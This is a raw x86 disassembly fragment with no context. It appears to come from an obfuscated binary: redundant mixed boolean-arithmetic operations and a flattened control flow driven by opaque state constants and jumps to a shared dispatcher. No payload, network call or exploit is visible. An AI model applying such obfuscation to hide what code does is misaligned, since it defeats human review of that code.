mov al, byte [ebp - 0xadd]
and al, 0xff
mov byte [ebp - 0xadf], al
mov al, byte [ebp - 0xadc]
and cl, al
mov al, byte [ebp - 0xae0]
or dl, al
mov al, byte [ebp - 0xadf]
or al, cl
mov cl, byte [ebp - 0xade]
xor dl, al
mov al, byte [ebp - 0xadd]
or bh, al
mov al, byte [ebp - 0xadc]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0xadb]
or dl, bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0xada]
or bh, al
mov byte [ebp - 0xad9], bh
mov al, dl
xor al, 0xff
and bh, al
mov al, byte [ebp - 0xad9]
xor al, 0xff
and dl, al
mov al, byte [ebp - 0xad8]
or bh, dl
mov dl, al
and dl, bl
xor al, bl
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dl, bl
or al, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0xad5], cl
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and bh, dl
mov byte [ebp - 0xad7], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0xad6], al
mov al, byte [ebp - 0xad7]
or cl, al
mov al, byte [ebp - 0xad6]
or bh, al
mov al, byte [ebp - 0xad5]
xor cl, bh
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dl, ah
xor dl, 0xff
mov al, dh
xor al, dl
and al, dh
mov bh, dh
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or bh, dh
or dl, ah
xor bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xad4], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0xad4]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov bl, cl
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov bh, 1
xor bh, 0
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov ah, dh
and ah, bl
or cl, ah
xor cl, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0xad1], cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, bh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
mov bl, cl
and bl, 0
and bh, dl
mov byte [ebp - 0xad3], bh
mov bh, ah
and bh, 0
and al, dl
mov byte [ebp - 0xad2], al
mov al, byte [ebp - 0xad3]
or bl, al
mov al, byte [ebp - 0xad2]
or bh, al
mov al, byte [ebp - 0xad1]
xor bl, bh
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xad0], dl
mov bh, dh
xor bh, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ah, bh
and ah, 0
and dh, cl
or dl, al
mov al, byte [ebp - 0xad0]
or ah, dh
mov dh, byte [ebp - 0xacf]
xor dl, ah
mov ah, byte [ebp - 0xace]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bh
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0xacd], al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or dl, dh
or al, ch
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, 1
xor al, 1
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov dh, bl
and dh, 1
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or dl, dh
or cl, ah
xor dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0xacd]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7b827552
mov ecx, 0x404e4197
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x229849e5
jmp 0x4c0c7f
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1b4], 0xd7eaaa65
jmp 0x4c0c7f
mov edi, dword [ebp - 0x40]
mov edx, 0xffffffff
xor edx, 0x20000000
and edx, 0x4718ea70
mov ecx, 0xffffffff
xor ecx, 0x4718ea70
mov esi, ecx
and esi, 0x20000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x4718ea70
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov ecx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x7c517849
or ecx, edx
or eax, 0x7c517849
xor ecx, 0xffffffff
and ecx, eax
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xbfe2ec10
mov edx, 0xffffffff
xor edx, 0xbfe2ec10
mov ebx, edx
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xbfe2ec10
and edx, 0xffffffff
or esi, ebx
or eax, edx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0x20000000
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xce03e693
or eax, esi
or edx, 0xce03e693
xor eax, 0xffffffff
and eax, edx
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0xc98], ebx
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd7fa699c
and ebx, 0xd7fa699c
mov dword [ebp - 0xc9c], ebx
and ecx, edx
mov ebx, esi
and ebx, 0xd7fa699c
and eax, edx
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0xc9c]
or eax, ecx
mov ecx, dword [ebp - 0xc98]
mov dword [ebp - 0xc90], eax
mov eax, dword [ebp - 0xc94]
or ebx, eax
mov eax, dword [ebp - 0xc90]
xor eax, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd7fa699c
and ecx, edx
or eax, ecx
mov dword [ebp - 0xc8c], eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xfe3075ee
mov edx, 0xffffffff
xor edx, 0xfe3075ee
mov esi, edi
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xfe3075ee
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x2845b5c6
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x77b0750f
or edx, ecx
or eax, 0x77b0750f
xor edx, 0xffffffff
and edx, eax
mov ecx, 0xffffffff
xor ecx, 0x2845b5c6
and ecx, 0xcde4bb92
mov ebx, 0xffffffff
xor ebx, 0xcde4bb92
mov eax, ebx
and eax, 0x2845b5c6
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xcde4bb92
and ebx, 0xffffffff
or ecx, eax
mov eax, dword [ebp - 0xc8c]
or esi, ebx
xor ecx, esi
mov dword [ebp - 0xc80], ecx
xor ecx, 0xffffffff
mov ebx, edi
xor ebx, ecx
and ebx, edi
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0xc8c]
or esi, eax
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x2845b5c6
mov dword [ebp - 0xc88], eax
mov eax, 0xffffffff
xor eax, 0x7833d307
mov dword [ebp - 0xc84], eax
mov eax, dword [ebp - 0xc88]
or esi, eax
mov eax, dword [ebp - 0xc84]
or eax, 0x7833d307
xor esi, 0xffffffff
and esi, eax
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0xc7c], esi
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xa401b9b7
or ecx, eax
mov eax, dword [ebp - 0xc7c]
or esi, 0xa401b9b7
xor ecx, 0xffffffff
and ecx, esi
mov esi, edx
and esi, ebx
xor edx, ebx
or esi, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xd0f8aa17
mov ebx, 0xffffffff
xor ebx, 0xd0f8aa17
and esi, ebx
mov eax, edx
xor eax, 0xffffffff
and eax, 0xd0f8aa17
and edx, ebx
or ecx, esi
or eax, edx
xor ecx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xefb3c986
mov edx, 0xffffffff
xor edx, 0xefb3c986
and edi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xefb3c986
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, esi
and edx, eax
xor esi, 0xffffffff
mov eax, ecx
and eax, esi
or edx, eax
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x1647d83d
or edx, ecx
or eax, 0x1647d83d
xor edx, 0xffffffff
and edx, eax
mov eax, 0xd30fd977
mov ecx, 0x93cf84e7
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x20
mov dword [ebp - 0x1b4], 0xb90cbab7
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x6c514df8
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x8641b093
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
mov edx, 0x60755e5f
add edx, 0
sub edx, 1
sub edx, 0x60755e5f
xor edi, edi
sub edi, 0x58f08740
add edi, edx
add edi, 0x58f08740
xor esi, esi
sub esi, ecx
add esi, 0
mov edx, 0x1b46199c
add edx, 0
sub edx, edi
sub edx, 0x1b46199c
add esi, 0x55e1d4b2
add esi, edx
sub esi, 0x55e1d4b2
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0xdb4], dh
cmp eax, 0xa
setl ch
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
xor dh, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov cl, 1
xor cl, 1
and cl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0xd8c], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dl, ch
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov al, 1
xor al, 1
and al, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ah
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, 1
xor cl, 0
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ah, dh
and ah, 0xff
and al, bl
mov byte [ebp - 0xdb6], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xdb5], al
mov al, byte [ebp - 0xdb6]
and cl, bl
or ah, al
mov al, byte [ebp - 0xdb5]
or al, cl
mov cl, byte [ebp - 0xdb4]
xor ah, al
mov al, byte [ebp - 0xd8c]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ah, dh
mov byte [ebp - 0xd7b], ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
or ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, 1
xor al, 0
and al, 1
mov bl, 1
xor bl, 1
and bl, 0
or al, bl
mov bl, ah
and bl, dh
xor ah, dh
or bl, ah
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or al, bl
mov bl, byte [ebp - 0xd7b]
or ah, bh
xor al, ah
xor al, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0xdae], al
mov dh, bl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bl
or al, ah
xor dh, al
mov ah, cl
xor ah, 0xff
mov al, dh
and al, ah
xor dh, 0xff
mov ah, cl
and ah, dh
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or al, cl
mov byte [ebp - 0xdb3], al
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0xdb3]
or bl, bh
xor cl, bl
mov bl, al
and bl, dh
xor al, dh
or bl, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0xdaf], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xdb0], al
mov dh, 1
xor dh, 1
and bh, 0xff
mov al, dh
and al, 0
mov byte [ebp - 0xdb2], al
mov al, byte [ebp - 0xdb0]
and al, 0xff
mov byte [ebp - 0xdb1], al
mov al, byte [ebp - 0xdb2]
and cl, dh
or bh, al
mov al, byte [ebp - 0xdb1]
or al, cl
mov cl, byte [ebp - 0xdb0]
xor bh, al
mov al, byte [ebp - 0xdaf]
or al, cl
mov cl, byte [ebp - 0xdae]
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov al, 1
xor al, 0
and bl, al
mov byte [ebp - 0xdad], bl
mov bl, 1
xor bl, 1
and bl, 0
and al, 1
mov byte [ebp - 0xdac], al
mov al, byte [ebp - 0xdad]
or dh, al
mov al, byte [ebp - 0xdac]
or bl, al
mov al, byte [ebp - 0xd7b]
xor dh, bl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0xd9e], dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov dh, ch
xor dh, 0xff
mov al, bl
and al, dh
xor bl, 0xff
mov dh, ch
and dh, bl
or al, dh
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov bh, cl
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or al, bh
or ch, bl
xor al, ch
mov byte [ebp - 0xda4], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov al, ah
and al, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or ch, al
mov al, byte [ebp - 0xda4]
or bl, bh
xor ch, bl
mov byte [ebp - 0xda3], ch
mov ch, 1
xor ch, 0
and ch, 1
mov bl, 1
xor bl, 1
and bl, 0
or ch, bl
mov bh, 1
xor bh, 0
mov bl, al
xor bl, bh
and bl, al
mov al, ch
xor al, 0xff
mov bh, cl
xor bh, al
mov al, byte [ebp - 0xda3]
and bh, cl
xor al, 0xff
mov byte [ebp - 0xdab], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
mov byte [ebp - 0xdaa], al
mov al, byte [ebp - 0xdab]
or al, cl
mov cl, byte [ebp - 0xdaa]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xda9], al
mov al, ch
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0xda9]
and cl, ah
mov ah, bl
and ah, bh
xor bl, bh
or ah, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xda5], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xda6], bh
mov bh, 1
xor bh, 1
and bl, 0xff
and al, bh
mov byte [ebp - 0xda8], al
mov al, byte [ebp - 0xda6]
and al, 0xff
mov byte [ebp - 0xda7], al
mov al, byte [ebp - 0xda8]
and cl, bh
or bl, al
mov al, byte [ebp - 0xda7]
or al, cl
mov cl, byte [ebp - 0xda6]
xor bl, al
mov al, byte [ebp - 0xda5]
or al, cl
mov cl, byte [ebp - 0xda4]
xor al, 0xff
or bh, 1
and al, bh
or bl, al
mov bh, ah
xor bh, 0xff
mov al, bl
and al, bh
mov bh, byte [ebp - 0xda3]
xor bl, 0xff
and ah, bl
or al, ah
mov byte [ebp - 0xd9d], al
mov ah, cl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, ah
and al, 0
mov byte [ebp - 0xda2], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0xda1], al
mov al, byte [ebp - 0xda3]
and al, bl
mov byte [ebp - 0xda0], al
mov al, byte [ebp - 0xda2]
or al, cl
mov cl, byte [ebp - 0xda1]
mov byte [ebp - 0xd9f], al
mov al, byte [ebp - 0xda0]
or cl, al
mov al, byte [ebp - 0xd9f]
xor al, cl
mov cl, byte [ebp - 0xd9e]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or al, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and al, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0xd9d]
or bl, bh
xor ah, bl
mov bl, ch
and bl, 0
xor ch, 0
or bl, ch
xor ah, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov bl, cl
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, bl
or ah, ch
xor al, ah
mov byte [ebp - 0xd92], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov al, dh
and al, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or ah, al
mov al, byte [ebp - 0xd92]
or ch, bl
xor ah, ch
mov bl, 1
xor bl, 1
and bl, 1
mov ch, 1
xor ch, 1
and ch, 1
or bl, ch
mov byte [ebp - 0xd93], bl
mov ch, 1
xor ch, 1
xor al, ch
mov ch, byte [ebp - 0xd92]
and al, ch
xor cl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
mov bl, 1
xor bl, 1
mov ch, ah
xor ch, bl
mov bl, byte [ebp - 0xd93]
and ch, ah
mov byte [ebp - 0xd98], ch
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov byte [ebp - 0xd9a], ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0xd99], dh
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and al, bl
mov byte [ebp - 0xd9c], al
mov al, byte [ebp - 0xd99]
and al, 0xff
mov byte [ebp - 0xd9b], al
mov al, byte [ebp - 0xd9c]
and cl, bl
or dh, al
mov al, byte [ebp - 0xd9b]
or al, cl
mov cl, byte [ebp - 0xd9a]
xor dh, al
mov al, byte [ebp - 0xd99]
or ch, al
mov al, byte [ebp - 0xd98]
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xd94], bl
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xd95], ch
mov ch, 1
xor ch, 0
and bl, 0
and al, ch
mov byte [ebp - 0xd97], al
mov al, byte [ebp - 0xd95]
and al, 0
mov byte [ebp - 0xd96], al
mov al, byte [ebp - 0xd97]
and cl, ch
or bl, al
mov al, byte [ebp - 0xd96]
or al, cl
mov cl, byte [ebp - 0xd95]
xor bl, al
mov al, byte [ebp - 0xd94]
or al, cl
mov cl, byte [ebp - 0xd93]
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov al, dh
xor al, 0xff
mov ch, bl
and ch, al
mov al, byte [ebp - 0xd92]
xor bl, 0xff
and dh, bl
or ch, dh
mov byte [ebp - 0xd8e], ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0xd8f], al
mov ch, 1
xor ch, 1
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0xd91], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xd90], al
mov al, byte [ebp - 0xd91]
and cl, dh
or ah, al
mov al, byte [ebp - 0xd90]
or al, cl
mov cl, byte [ebp - 0xd8f]
xor ah, al
mov al, byte [ebp - 0xd8e]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
xor ah, 0xff
mov bl, cl
xor bl, ah
and bl, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xd8d], dh
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and bl, cl
or dh, al
mov al, byte [ebp - 0xd8d]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or ah, al
mov al, dh
xor al, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, cl
and ch, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, al
mov al, byte [ebp - 0xd8c]
or bl, bh
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bl, dh
or cl, ah
xor bl, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bh, dl
and bh, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bh
or ah, dh
xor cl, ah
mov byte [ebp - 0xd85], cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov byte [ebp - 0xd82], bh
mov ah, 1
xor ah, 1
mov cl, bl
xor cl, ah
and cl, bl
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov dh, 1
xor dh, 1
or al, ah
mov ah, byte [ebp - 0xd85]
or dh, 1
xor al, 0xff
and al, dh
mov byte [ebp - 0xd8b], al
xor ah, 0xff
mov al, 1
xor al, 1
mov dh, 1
xor dh, 1
or ah, al
mov al, byte [ebp - 0xd8b]
or dh, 1
xor ah, 0xff
and ah, dh
xor bh, 0xff
mov dh, dl
xor dh, bh
and dh, dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0xd86], al
mov bh, 1
xor bh, 0
mov al, dl
and al, 0
mov byte [ebp - 0xd8a], al
mov al, byte [ebp - 0xd86]
and cl, bh
and al, 0
mov byte [ebp - 0xd88], al
mov al, byte [ebp - 0xd8b]
and al, bh
mov byte [ebp - 0xd89], al
mov al, byte [ebp - 0xd8a]
or al, cl
mov cl, byte [ebp - 0xd89]
mov byte [ebp - 0xd87], al
mov al, byte [ebp - 0xd88]
or al, cl
mov cl, byte [ebp - 0xd87]
xor cl, al
mov al, byte [ebp - 0xd86]
or dl, al
mov al, byte [ebp - 0xd85]
xor dl, 0xff
or bh, 0
and dl, bh
or cl, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
